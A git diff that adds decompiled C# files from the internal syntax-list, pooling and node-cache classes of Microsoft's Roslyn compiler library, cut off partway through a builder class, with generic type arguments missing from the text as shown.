a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxListBuilderExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxListBuilderExtensions.cs new file mode 100644 index 0000000..6e81138 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxListBuilderExtensions.cs @@ -0,0 +1,18 @@ +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal static class SyntaxListBuilderExtensions +{ + public static SyntaxList ToList(this SyntaxListBuilder? builder) + { + return ToList(builder); + } + + public static SyntaxList ToList(this SyntaxListBuilder? builder) where TNode : GreenNode + { + if (builder == null) + { + return default(SyntaxList); + } + return new SyntaxList(builder.ToListNode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxListPool.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxListPool.cs new file mode 100644 index 0000000..602a431 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxListPool.cs @@ -0,0 +1,84 @@ +using System; + +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal class SyntaxListPool +{ + private ArrayElement[] _freeList = new ArrayElement[10]; + + private int _freeIndex; + + internal SyntaxListPool() + { + } + + internal SyntaxListBuilder Allocate() + { + SyntaxListBuilder result; + if (_freeIndex > 0) + { + _freeIndex--; + result = _freeList[_freeIndex].Value; + _freeList[_freeIndex].Value = null; + } + else + { + result = new SyntaxListBuilder(10); + } + return result; + } + + internal SyntaxListBuilder Allocate() where TNode : GreenNode + { + return new SyntaxListBuilder(Allocate()); + } + + internal SeparatedSyntaxListBuilder AllocateSeparated() where TNode : GreenNode + { + return new SeparatedSyntaxListBuilder(Allocate()); + } + + internal void Free(in SeparatedSyntaxListBuilder item) where TNode : GreenNode + { + Free(item.UnderlyingBuilder); + } + + internal void Free(SyntaxListBuilder? item) + { + if (item != null) + { + item.Clear(); + if (_freeIndex >= _freeList.Length) + { + Grow(); + } + _freeList[_freeIndex].Value = item; + _freeIndex++; + } + } + + private void Grow() + { + ArrayElement[] array = new ArrayElement[_freeList.Length * 2]; + Array.Copy(_freeList, array, _freeList.Length); + _freeList = array; + } + + public SyntaxList ToListAndFree(SyntaxListBuilder item) where TNode : GreenNode + { + if (item.IsNull) + { + return default(SyntaxList); + } + SyntaxList result = item.ToList(); + Free(item); + return result; + } + + public SeparatedSyntaxList ToListAndFree(in SeparatedSyntaxListBuilder item) where TNode : GreenNode + { + SeparatedSyntaxList result = item.ToList(); + Free(in item); + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxNodeCache.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxNodeCache.cs new file mode 100644 index 0000000..bfc54ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxNodeCache.cs @@ -0,0 +1,199 @@ +using System.Runtime.CompilerServices; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal static class SyntaxNodeCache +{ + private readonly struct Entry + { + public readonly int hash; + + public readonly GreenNode? node; + + internal Entry(int hash, GreenNode node) + { + this.hash = hash; + this.node = node; + } + } + + private const int CacheSizeBits = 16; + + private const int CacheSize = 65536; + + private const int CacheMask = 65535; + + private static readonly Entry[] s_cache = new Entry[65536]; + + internal static void AddNode(GreenNode node, int hash) + { + if (AllChildrenInCache(node) && !node.IsMissing) + { + int num = hash & 0xFFFF; + s_cache[num] = new Entry(hash, node); + } + } + + private static bool CanBeCached(GreenNode? child1) + { + return child1?.IsCacheable ?? true; + } + + private static bool CanBeCached(GreenNode? child1, GreenNode? child2) + { + if (CanBeCached(child1)) + { + return CanBeCached(child2); + } + return false; + } + + private static bool CanBeCached(GreenNode? child1, GreenNode? child2, GreenNode? child3) + { + if (CanBeCached(child1) && CanBeCached(child2)) + { + return CanBeCached(child3); + } + return false; + } + + private static bool ChildInCache(GreenNode? child) + { + if (child == null || child.SlotCount == 0) + { + return true; + } + int num = child.GetCacheHash() & 0xFFFF; + return s_cache[num].node == child; + } + + private static bool AllChildrenInCache(GreenNode node) + { + int slotCount = node.SlotCount; + for (int i = 0; i < slotCount; i++) + { + if (!ChildInCache(node.GetSlot(i))) + { + return false; + } + } + return true; + } + + internal static GreenNode? TryGetNode(int kind, GreenNode? child1, out int hash) + { + return TryGetNode(kind, child1, GetDefaultNodeFlags(), out hash); + } + + internal static GreenNode? TryGetNode(int kind, GreenNode? child1, GreenNode.NodeFlags flags, out int hash) + { + if (CanBeCached(child1)) + { + int num = (hash = GetCacheHash(kind, flags, child1)); + int num2 = num & 0xFFFF; + Entry entry = s_cache[num2]; + if (entry.hash == num && entry.node != null && entry.node.IsCacheEquivalent(kind, flags, child1)) + { + return entry.node; + } + } + else + { + hash = -1; + } + return null; + } + + internal static GreenNode? TryGetNode(int kind, GreenNode? child1, GreenNode? child2, out int hash) + { + return TryGetNode(kind, child1, child2, GetDefaultNodeFlags(), out hash); + } + + internal static GreenNode? TryGetNode(int kind, GreenNode? child1, GreenNode? child2, GreenNode.NodeFlags flags, out int hash) + { + if (CanBeCached(child1, child2)) + { + int num = (hash = GetCacheHash(kind, flags, child1, child2)); + int num2 = num & 0xFFFF; + Entry entry = s_cache[num2]; + if (entry.hash == num && entry.node != null && entry.node.IsCacheEquivalent(kind, flags, child1, child2)) + { + return entry.node; + } + } + else + { + hash = -1; + } + return null; + } + + internal static GreenNode? TryGetNode(int kind, GreenNode? child1, GreenNode? child2, GreenNode? child3, out int hash) + { + return TryGetNode(kind, child1, child2, child3, GetDefaultNodeFlags(), out hash); + } + + internal static GreenNode? TryGetNode(int kind, GreenNode? child1, GreenNode? child2, GreenNode? child3, GreenNode.NodeFlags flags, out int hash) + { + if (CanBeCached(child1, child2, child3)) + { + int num = (hash = GetCacheHash(kind, flags, child1, child2, child3)); + int num2 = num & 0xFFFF; + Entry entry = s_cache[num2]; + if (entry.hash == num && entry.node != null && entry.node.IsCacheEquivalent(kind, flags, child1, child2, child3)) + { + return entry.node; + } + } + else + { + hash = -1; + } + return null; + } + + public static GreenNode.NodeFlags GetDefaultNodeFlags() + { + return GreenNode.NodeFlags.IsNotMissing; + } + + private static int GetCacheHash(int kind, GreenNode.NodeFlags flags, GreenNode? child1) + { + int currentKey = (int)flags ^ kind; + currentKey = Hash.Combine(RuntimeHelpers.GetHashCode(child1), currentKey); + return currentKey & 0x7FFFFFFF; + } + + private static int GetCacheHash(int kind, GreenNode.NodeFlags flags, GreenNode? child1, GreenNode? child2) + { + int num = (int)flags ^ kind; + if (child1 != null) + { + num = Hash.Combine(RuntimeHelpers.GetHashCode(child1), num); + } + if (child2 != null) + { + num = Hash.Combine(RuntimeHelpers.GetHashCode(child2), num); + } + return num & 0x7FFFFFFF; + } + + private static int GetCacheHash(int kind, GreenNode.NodeFlags flags, GreenNode? child1, GreenNode? child2, GreenNode? child3) + { + int num = (int)flags ^ kind; + if (child1 != null) + { + num = Hash.Combine(RuntimeHelpers.GetHashCode(child1), num); + } + if (child2 != null) + { + num = Hash.Combine(RuntimeHelpers.GetHashCode(child2), num); + } + if (child3 != null) + { + num = Hash.Combine(RuntimeHelpers.GetHashCode(child3), num); + } + return num & 0x7FFFFFFF; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/AbstractWarningStateMap.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/AbstractWarningStateMap.cs new file mode 100644 index 0000000..980c0be --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/AbstractWarningStateMap.cs @@ -0,0 +1,60 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Syntax; + +internal abstract class AbstractWarningStateMap where TWarningState : struct +{ + protected readonly struct WarningStateMapEntry : IComparable + { + public readonly int Position; + + public readonly TWarningState GeneralWarningOption; + + public readonly ImmutableDictionary SpecificWarningOption; + + public WarningStateMapEntry(int position) + { + Position = position; + GeneralWarningOption = default(TWarningState); + SpecificWarningOption = ImmutableDictionary.Create(); + } + + public WarningStateMapEntry(int position, TWarningState general, ImmutableDictionary specific) + { + Position = position; + GeneralWarningOption = general; + SpecificWarningOption = specific ?? ImmutableDictionary.Create(); + } + + public int CompareTo(WarningStateMapEntry other) + { + return Position - other.Position; + } + } + + private readonly WarningStateMapEntry[] _warningStateMapEntries; + + protected AbstractWarningStateMap(SyntaxTree syntaxTree) + { + _warningStateMapEntries = CreateWarningStateMapEntries(syntaxTree); + } + + protected abstract WarningStateMapEntry[] CreateWarningStateMapEntries(SyntaxTree syntaxTree); + + public TWarningState GetWarningState(string id, int position) + { + WarningStateMapEntry entryAtOrBeforePosition = GetEntryAtOrBeforePosition(position); + if (entryAtOrBeforePosition.SpecificWarningOption.TryGetValue(id, out var value)) + { + return value; + } + return entryAtOrBeforePosition.GeneralWarningOption; + } + + private WarningStateMapEntry GetEntryAtOrBeforePosition(int position) + { + int num = Array.BinarySearch(_warningStateMapEntries, new WarningStateMapEntry(position)); + return _warningStateMapEntries[(num >= 0) ? num : (~num - 1)]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/CommonSyntaxNodeRemover.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/CommonSyntaxNodeRemover.cs new file mode 100644 index 0000000..3912a83 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/CommonSyntaxNodeRemover.cs @@ -0,0 +1,29 @@ +namespace Microsoft.CodeAnalysis.Syntax; + +internal static class CommonSyntaxNodeRemover +{ + public static void GetSeparatorInfo(SyntaxNodeOrTokenList nodesAndSeparators, int nodeIndex, int endOfLineKind, out bool nextTokenIsSeparator, out bool nextSeparatorBelongsToNode) + { + SyntaxNode syntaxNode = nodesAndSeparators[nodeIndex].AsNode(); + nextTokenIsSeparator = nodeIndex + 1 < nodesAndSeparators.Count && nodesAndSeparators[nodeIndex + 1].IsToken; + int num; + if (nextTokenIsSeparator) + { + SyntaxToken syntaxToken = nodesAndSeparators[nodeIndex + 1].AsToken(); + if (!syntaxToken.HasLeadingTrivia && !ContainsEndOfLine(syntaxNode.GetTrailingTrivia(), endOfLineKind)) + { + num = (ContainsEndOfLine(syntaxToken.TrailingTrivia, endOfLineKind) ? 1 : 0); + goto IL_0074; + } + } + num = 0; + goto IL_0074; + IL_0074: + nextSeparatorBelongsToNode = (byte)num != 0; + } + + private static bool ContainsEndOfLine(SyntaxTriviaList triviaList, int endOfLineKind) + { + return triviaList.IndexOf(endOfLineKind) >= 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SeparatedSyntaxListBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SeparatedSyntaxListBuilder.cs new file mode 100644 index 0000000..de19eee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SeparatedSyntaxListBuilder.cs @@ -0,0 +1,117 @@ +using System; + +namespace Microsoft.CodeAnalysis.Syntax; + +internal struct SeparatedSyntaxListBuilder where TNode : SyntaxNode +{ + private readonly SyntaxListBuilder _builder; + + private bool _expectedSeparator; + + public bool IsNull => _builder == null; + + public int Count => _builder.Count; + + public SeparatedSyntaxListBuilder(int size) + : this(new SyntaxListBuilder(size)) + { + } + + public static SeparatedSyntaxListBuilder Create() + { + return new SeparatedSyntaxListBuilder(8); + } + + internal SeparatedSyntaxListBuilder(SyntaxListBuilder builder) + { + _builder = builder; + _expectedSeparator = false; + } + + public void Clear() + { + _builder.Clear(); + } + + private void CheckExpectedElement() + { + if (_expectedSeparator) + { + throw new InvalidOperationException(CodeAnalysisResources.SeparatorIsExpected); + } + } + + private void CheckExpectedSeparator() + { + if (!_expectedSeparator) + { + throw new InvalidOperationException(CodeAnalysisResources.ElementIsExpected); + } + } + + public SeparatedSyntaxListBuilder Add(TNode node) + { + CheckExpectedElement(); + _expectedSeparator = true; + _builder.Add(node); + return this; + } + + public SeparatedSyntaxListBuilder AddSeparator(in SyntaxToken separatorToken) + { + CheckExpectedSeparator(); + _expectedSeparator = false; + _builder.AddInternal(separatorToken.Node); + return this; + } + + public SeparatedSyntaxListBuilder AddRange(in SeparatedSyntaxList nodes) + { + CheckExpectedElement(); + SyntaxNodeOrTokenList withSeparators = nodes.GetWithSeparators(); + _builder.AddRange(withSeparators); + _expectedSeparator = (_builder.Count & 1) != 0; + return this; + } + + public SeparatedSyntaxListBuilder AddRange(in SeparatedSyntaxList nodes, int count) + { + CheckExpectedElement(); + SyntaxNodeOrTokenList withSeparators = nodes.GetWithSeparators(); + _builder.AddRange(withSeparators, Count, Math.Min(count << 1, withSeparators.Count)); + _expectedSeparator = (_builder.Count & 1) != 0; + return this; + } + + public SeparatedSyntaxList ToList() + { + if (_builder == null) + { + return default(SeparatedSyntaxList); + } + return _builder.ToSeparatedList(); + } + + public SeparatedSyntaxList ToList() where TDerived : TNode + { + if (_builder == null) + { + return default(SeparatedSyntaxList); + } + return _builder.ToSeparatedList(); + } + + public static implicit operator SyntaxListBuilder(in SeparatedSyntaxListBuilder builder) + { + return builder._builder; + } + + public static implicit operator SeparatedSyntaxList(in SeparatedSyntaxListBuilder builder) + { + if (builder._builder != null) + { + return builder.ToList(); + } + return default(SeparatedSyntaxList); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxList.cs new file mode 100644 index 0000000..3f2ff8e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxList.cs @@ -0,0 +1,273 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Syntax; + +internal abstract class SyntaxList : SyntaxNode +{ + internal sealed class SeparatedWithManyChildren : SyntaxList + { + private readonly ArrayElement[] _children; + + internal SeparatedWithManyChildren(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + _children = new ArrayElement[green.SlotCount + 1 >> 1]; + } + + internal override SyntaxNode? GetNodeSlot(int i) + { + if ((i & 1) != 0) + { + return null; + } + return GetRedElement(ref _children[i >> 1].Value, i); + } + + internal override SyntaxNode? GetCachedSlot(int i) + { + if ((i & 1) != 0) + { + return null; + } + return _children[i >> 1].Value; + } + + internal override int GetChildPosition(int index) + { + int num = (((index & 1) != 0) ? (index - 1) : index); + if (num > 1 && GetCachedSlot(num - 2) == null && (num >= base.Green.SlotCount - 2 || GetCachedSlot(num + 2) != null)) + { + return GetChildPositionFromEnd(index); + } + return base.GetChildPosition(index); + } + } + + internal sealed class SeparatedWithManyWeakChildren : SyntaxList + { + private readonly ArrayElement?>[] _children; + + internal SeparatedWithManyWeakChildren(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList green, SyntaxNode parent, int position) + : base(green, parent, position) + { + _children = new ArrayElement>[(green.SlotCount + 1 >> 1) - 1]; + } + + internal override SyntaxNode? GetNodeSlot(int i) + { + SyntaxNode result = null; + if ((i & 1) == 0) + { + result = GetWeakRedElement(ref _children[i >> 1].Value, i); + } + return result; + } + + internal override SyntaxNode? GetCachedSlot(int i) + { + SyntaxNode target = null; + if ((i & 1) == 0) + { + _children[i >> 1].Value?.TryGetTarget(out target); + } + return target; + } + } + + internal sealed class WithManyChildren : SyntaxList + { + private readonly ArrayElement[] _children; + + internal WithManyChildren(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + _children = new ArrayElement[green.SlotCount]; + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return GetRedElement(ref _children[index].Value, index); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return _children[index]; + } + } + + internal sealed class WithManyWeakChildren : SyntaxList + { + private readonly ArrayElement?>[] _children; + + private readonly int[] _childPositions; + + internal WithManyWeakChildren(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.WithManyChildrenBase green, SyntaxNode parent, int position) + : base(green, parent, position) + { + int slotCount = green.SlotCount; + _children = new ArrayElement>[slotCount]; + int[] array = new int[slotCount]; + int num = position; + ArrayElement[] children = green.children; + for (int i = 0; i < array.Length; i++) + { + array[i] = num; + num += children[i].Value.FullWidth; + } + _childPositions = array; + } + + internal override int GetChildPosition(int index) + { + return _childPositions[index]; + } + + internal override SyntaxNode GetNodeSlot(int index) + { + return GetWeakRedElement(ref _children[index].Value, index); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + SyntaxNode target = null; + _children[index].Value?.TryGetTarget(out target); + return target; + } + } + + internal sealed class WithThreeChildren : SyntaxList + { + private SyntaxNode? _child0; + + private SyntaxNode? _child1; + + private SyntaxNode? _child2; + + internal WithThreeChildren(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return index switch + { + 0 => GetRedElement(ref _child0, 0), + 1 => GetRedElementIfNotToken(ref _child1), + 2 => GetRedElement(ref _child2, 2), + _ => null, + }; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return index switch + { + 0 => _child0, + 1 => _child1, + 2 => _child2, + _ => null, + }; + } + } + + internal sealed class WithTwoChildren : SyntaxList + { + private SyntaxNode? _child0; + + private SyntaxNode? _child1; + + internal WithTwoChildren(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return index switch + { + 0 => GetRedElement(ref _child0, 0), + 1 => GetRedElementIfNotToken(ref _child1), + _ => null, + }; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return index switch + { + 0 => _child0, + 1 => _child1, + _ => null, + }; + } + } + + public override string Language + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 22); + } + } + + protected override SyntaxTree SyntaxTreeCore => base.Parent.SyntaxTree; + + internal SyntaxList(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + protected internal override SyntaxNode ReplaceCore(IEnumerable? nodes = null, Func? computeReplacementNode = null, IEnumerable? tokens = null, Func? computeReplacementToken = null, IEnumerable? trivia = null, Func? computeReplacementTrivia = null) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 31); + } + + protected internal override SyntaxNode ReplaceNodeInListCore(SyntaxNode originalNode, IEnumerable replacementNodes) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 36); + } + + protected internal override SyntaxNode InsertNodesInListCore(SyntaxNode nodeInList, IEnumerable nodesToInsert, bool insertBefore) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 41); + } + + protected internal override SyntaxNode ReplaceTokenInListCore(SyntaxToken originalToken, IEnumerable newTokens) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 46); + } + + protected internal override SyntaxNode InsertTokensInListCore(SyntaxToken originalToken, IEnumerable newTokens, bool insertBefore) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 51); + } + + protected internal override SyntaxNode ReplaceTriviaInListCore(SyntaxTrivia originalTrivia, IEnumerable newTrivia) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 56); + } + + protected internal override SyntaxNode InsertTriviaInListCore(SyntaxTrivia originalTrivia, IEnumerable newTrivia, bool insertBefore) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 61); + } + + protected internal override SyntaxNode RemoveNodesCore(IEnumerable nodes, SyntaxRemoveOptions options) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 66); + } + + protected internal override SyntaxNode NormalizeWhitespaceCore(string indentation, string eol, bool elasticTrivia) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 71); + } + + protected override bool IsEquivalentToCore(SyntaxNode node, bool topLevel = false) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxList.cs", 76); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxListBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxListBuilder.cs new file mode 100644 index 0000000..32a37bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxListBuilder.cs @@ -0,0 +1,266 @@ +using System; +using System.Diagnostics; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.Syntax; + +internal class SyntaxListBuilder +{ + private ArrayElement[] _nodes; + + public int Count { get; private set; } + + public SyntaxListBuilder(int size) + { + _nodes = new ArrayElement[size]; + } + + public void Clear() + { + Count = 0; + } + + public void Add(SyntaxNode item) + { + AddInternal(item.Green); + } + + internal void AddInternal(GreenNode item) + { + if (item == null) + { + throw new ArgumentNullException(); + } + if (Count >= _nodes.Length) + { + Grow((Count == 0) ? 8 : (_nodes.Length * 2)); + } + _nodes[Count++].Value = item; + } + + public void AddRange(SyntaxNode[] items) + { + AddRange(items, 0, items.Length); + } + + public void AddRange(SyntaxNode[] items, int offset, int length) + { + if (Count + length > _nodes.Length) + { + Grow(Count + length); + } + int num = offset; + int num2 = Count; + while (num < offset + length) + { + _nodes[num2].Value = items[num].Green; + num++; + num2++; + } + _ = Count; + Count += length; + } + + [Conditional("DEBUG")] + private void Validate(int start, int end) + { + for (int i = start; i < end; i++) + { + if (_nodes[i].Value == null) + { + throw new ArgumentException("Cannot add a null node."); + } + } + } + + public void AddRange(SyntaxList list) + { + AddRange(list, 0, list.Count); + } + + public void AddRange(SyntaxList list, int offset, int count) + { + if (Count + count > _nodes.Length) + { + Grow(Count + count); + } + int num = Count; + int i = offset; + for (int num2 = offset + count; i < num2; i++) + { + _nodes[num].Value = list.ItemInternal(i).Green; + num++; + } + _ = Count; + Count += count; + } + + public void AddRange(SyntaxList list) where TNode : SyntaxNode + { + AddRange(list, 0, list.Count); + } + + public void AddRange(SyntaxList list, int offset, int count) where TNode : SyntaxNode + { + AddRange(new SyntaxList(list.Node), offset, count); + } + + public void AddRange(SyntaxNodeOrTokenList list) + { + AddRange(list, 0, list.Count); + } + + public void AddRange(SyntaxNodeOrTokenList list, int offset, int count) + { + if (Count + count > _nodes.Length) + { + Grow(Count + count); + } + int num = Count; + int i = offset; + for (int num2 = offset + count; i < num2; i++) + { + _nodes[num].Value = list[i].UnderlyingNode; + num++; + } + _ = Count; + Count += count; + } + + public void AddRange(SyntaxTokenList list) + { + AddRange(list, 0, list.Count); + } + + public void AddRange(SyntaxTokenList list, int offset, int length) + { + AddRange(new SyntaxList(list.Node.CreateRed()), offset, length); + } + + private void Grow(int size) + { + ArrayElement[] array = new ArrayElement[size]; + Array.Copy(_nodes, array, _nodes.Length); + _nodes = array; + } + + public bool Any(int kind) + { + for (int i = 0; i < Count; i++) + { + if (_nodes[i].Value.RawKind == kind) + { + return true; + } + } + return false; + } + + internal GreenNode? ToListNode() + { + switch (Count) + { + case 0: + return null; + case 1: + return _nodes[0].Value; + case 2: + return Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(_nodes[0].Value, _nodes[1].Value); + case 3: + return Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(_nodes[0].Value, _nodes[1].Value, _nodes[2].Value); + default: + { + ArrayElement[] array = new ArrayElement[Count]; + for (int i = 0; i < Count; i++) + { + array[i].Value = _nodes[i].Value; + } + return Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(array); + } + } + } + + public static implicit operator SyntaxList(SyntaxListBuilder builder) + { + return builder?.ToList() ?? default(SyntaxList); + } + + internal void RemoveLast() + { + Count--; + _nodes[Count] = default(ArrayElement); + } +} +internal readonly struct SyntaxListBuilder where TNode : SyntaxNode +{ + private readonly SyntaxListBuilder? _builder; + + public bool IsNull => _builder == null; + + public int Count => _builder.Count; + + public SyntaxListBuilder(int size) + : this(new SyntaxListBuilder(size)) + { + } + + public static SyntaxListBuilder Create() + { + return new SyntaxListBuilder(8); + } + + internal SyntaxListBuilder(SyntaxListBuilder? builder) + { + _builder = builder; + } + + public void Clear() + { + _builder.Clear(); + } + + public SyntaxListBuilder Add(TNode node) + { + _builder.Add(node); + return this; + } + + public void AddRange(TNode[] items, int offset, int length) + { + _builder.AddRange(items, offset, length); + } + + public void AddRange(SyntaxList nodes) + { + _builder.AddRange(nodes); + } + + public void AddRange(SyntaxList nodes, int offset, int length) + { + _builder.AddRange(nodes, offset, length); + } + + public bool Any(int kind) + { + return _builder.Any(kind); + } + + public SyntaxList ToList() + { + return (SyntaxList)_builder.ToList(); + } + + public static implicit operator SyntaxListBuilder?(SyntaxListBuilder builder) + { + return builder._builder; + } + + public static implicit operator SyntaxList(SyntaxListBuilder builder) + { + if (builder._builder != null) + { + return builder.ToList(); + } + return default(SyntaxList); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxListBuilderExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxListBuilderExtensions.cs new file mode 100644 index 0000000..f3d1d06 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxListBuilderExtensions.cs @@ -0,0 +1,43 @@ +namespace Microsoft.CodeAnalysis.Syntax; + +internal static class SyntaxListBuilderExtensions +{ + public static SyntaxTokenList ToTokenList(this SyntaxListBuilder? builder) + { + if (builder == null || builder.Count == 0) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList(null, builder.ToListNode(), 0, 0); + } + + public static SyntaxList ToList(this SyntaxListBuilder? builder) + { + GreenNode greenNode = builder?.ToListNode(); + if (greenNode == null) + { + return default(SyntaxList); + } + return new SyntaxList(greenNode.CreateRed()); + } + + public static SyntaxList ToList(this SyntaxListBuilder? builder) where TNode : SyntaxNode + { + GreenNode greenNode = builder?.ToListNode(); + if (greenNode == null) + { + return default(SyntaxList); + } + return new SyntaxList(greenNode.CreateRed()); + } + + public static SeparatedSyntaxList ToSeparatedList(this SyntaxListBuilder? builder) where TNode : SyntaxNode + { + GreenNode greenNode = builder?.ToListNode(); + if (greenNode == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(new SyntaxNodeOrTokenList(greenNode.CreateRed(), 0)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxNodeOrTokenListBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxNodeOrTokenListBuilder.cs new file mode 100644 index 0000000..d28fc09 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxNodeOrTokenListBuilder.cs @@ -0,0 +1,137 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.Syntax; + +internal class SyntaxNodeOrTokenListBuilder +{ + private GreenNode?[] _nodes; + + private int _count; + + public int Count => _count; + + public SyntaxNodeOrToken this[int index] + { + get + { + GreenNode greenNode = _nodes[index]; + if (greenNode.IsToken) + { + return new SyntaxNodeOrToken(null, greenNode, 0, 0); + } + return greenNode.CreateRed(); + } + set + { + _nodes[index] = value.UnderlyingNode; + } + } + + public SyntaxNodeOrTokenListBuilder(int size) + { + _nodes = new GreenNode[size]; + _count = 0; + } + + public static SyntaxNodeOrTokenListBuilder Create() + { + return new SyntaxNodeOrTokenListBuilder(8); + } + + public void Clear() + { + _count = 0; + } + + internal void Add(GreenNode item) + { + if (_count >= _nodes.Length) + { + Grow((_count == 0) ? 8 : (_nodes.Length * 2)); + } + _nodes[_count++] = item; + } + + public void Add(SyntaxNode item) + { + Add(item.Green); + } + + public void Add(in SyntaxToken item) + { + Add(item.Node); + } + + public void Add(in SyntaxNodeOrToken item) + { + Add(item.UnderlyingNode); + } + + public void Add(SyntaxNodeOrTokenList list) + { + Add(list, 0, list.Count); + } + + public void Add(SyntaxNodeOrTokenList list, int offset, int length) + { + if (_count + length > _nodes.Length) + { + Grow(_count + length); + } + list.CopyTo(offset, _nodes, _count, length); + _count += length; + } + + public void Add(IEnumerable nodeOrTokens) + { + foreach 